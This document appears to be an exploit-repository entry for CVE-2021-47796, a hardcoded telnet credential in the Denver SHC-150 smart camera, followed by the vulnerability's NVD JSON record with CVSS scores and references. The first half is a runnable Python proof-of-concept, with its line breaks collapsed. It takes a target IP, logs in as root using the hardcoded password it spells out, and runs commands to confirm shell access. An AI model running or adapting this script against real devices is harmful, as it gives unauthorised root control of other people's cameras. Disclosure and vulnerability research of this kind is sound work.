CVE-2021-47796

#!/usr/bin/env python3 """ CVE-2021-47796 PoC - Denver SHC-150 Smart Wifi Camera Hardcoded Telnet Credential Reference: https://www.exploit-db.com/exploits/50160 """ import socket import sys import telnetlib def exploit_camera(target_ip, target_port=23): """ Exploit hardcoded telnet credential on Denver SHC-150 camera """ try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Connect to telnet service tn = telnetlib.Telnet(target_ip, target_port, timeout=10) # Wait for login prompt tn.read_until(b"login: ", timeout=5) # Use hardcoded credentials (exploit-db reference) # Default credential: root / vizxv print("[*] Sending hardcoded credentials...") tn.write(b"root\n") tn.read_until(b"Password: ", timeout=5) tn.write(b"vizxv\n") # Check for successful login response = tn.read_until(b"#", timeout=5) if b"#" in response or b"$" in response: print("[+] SUCCESS! Got shell access with root privileges!") print("[*] You now have full control of the camera.") # Execute some verification commands tn.write(b"uname -a\n") uname_result = tn.read_until(b"#", timeout=3) print(f"[*] System info: {uname_result.decode('utf-8', errors='ignore')}") tn.write(b"id\n") id_result = tn.read_until(b"#", timeout=3) print(f"[*] User ID: {id_result.decode('utf-8', errors='ignore')}") return True else: print("[-] FAILED! Authentication failed.") return False except socket.timeout: print("[-] Connection timeout - target may not be vulnerable or is offline.") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip> [port]") print(f"Example: python3 {sys.argv[0]} 192.168.1.100 23") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 23 print("=" * 60) print("CVE-2021-47796 - Denver SHC-150 Hardcoded Telnet Credential") print("=" * 60) exploit_camera(target, port)

{"cve": {"id": "CVE-2021-47796", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:23.760", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Denver SHC-150 Smart Wifi Camera contains a hardcoded telnet credential vulnerability that allows unauthenticated attackers to access a Linux shell. Attackers can connect to port 23 using the default credential to execute arbitrary commands on the camera's operating system."}, {"lang": "es", "value": "La Cámara Wifi Inteligente Denver SHC-150 contiene una vulnerabilidad de credenciales telnet codificadas de forma rígida que permite a atacantes no autenticados acceder a un shell de Linux. Los atacantes pueden conectarse al puerto 23 utilizando la credencial predeterminada para ejecutar comandos arbitrarios en el sistema operativo de la cámara."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "http://old.denver.eu/products/smart-home-security/ip-camera-/indoor/c-1024/c-1245", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50160", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/denver-smart-wifi-camera-shc-telnet-remote-code-execution-rce", "source": "[email protected]"}]}}